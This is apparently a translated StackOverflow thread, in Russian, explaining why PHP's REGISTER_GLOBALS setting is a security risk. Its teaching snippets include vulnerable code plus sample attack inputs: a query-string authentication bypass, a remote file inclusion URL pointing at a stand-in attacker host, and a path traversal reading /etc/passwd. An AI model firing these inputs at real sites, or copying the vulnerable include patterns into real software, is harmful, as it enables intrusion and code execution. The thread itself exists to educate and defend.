Вопрос

Я не разработчик PHP, но в нескольких местах я видел, что люди относятся к этому как к чуме или чему-то в этом роде.Почему?

Это было полезно?

Решение

REGISTER_GLOBALS означает, что все переменные, прошедшие через GET или POST, доступны как глобальные переменные в вашем скрипте.Поскольку доступ к необъявленным переменным в PHP не является ошибкой (а предупреждением), это может привести к очень неприятным ситуациям.Рассмотрим это, например:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Само по себе это неплохо (хорошо спроектированный код не должен генерировать предупреждения, поэтому не должен обращаться к каким-либо переменным, которые могут быть необъявлены (и не должен нуждаться REGISTER_GLOBALS по той же причине)), но код PHP обычно [очень] низкого качества, что приводит к такого рода дырам в безопасности.

Другие советы

Включение REGISTER_GLOBALS подвергает веб-страницы, обслуживаемые PHP, уязвимостям, которые некоторые злоумышленники будут стремиться использовать.

Если он включен, любая строка запроса в конце URL-адреса:

http://yourdomain/something.php?valid=true 

повлияет на значение переменной $ valid (например) в нечто .php, , если она существует .

Если вы используете общедоступный код PHP (например, библиотеку), имена переменных хорошо известны, и хакеры могут контролировать свои значения, присваивая значения в строке запроса. Они могут обойти аутентификацию.

Даже если вы не используете открытый код, возможно, вы сможете угадать имена важных переменных и контролировать их значения.

Раньше по умолчанию было включено REGISTER_GLOBALS в PHP.INI

В последнее время принято отключать его по умолчанию. Включите его на свой страх и риск!

Просто добавим, в некоторых ситуациях включение REGISTER_GLOBALS может испортить ваш день:

Использование строки запроса для обхода контроля доступа (взломайте с помощью http://example.com/ ? авторизовались = 1 ):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Удаленное включение файлов (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Локальное включение файлов (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Потому что это позволяет пользователю вставлять любую глобальную переменную в ваш код без какого-либо контроля.

Исходя из качества кода, он может привести к серьезным ошибкам в безопасности.

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top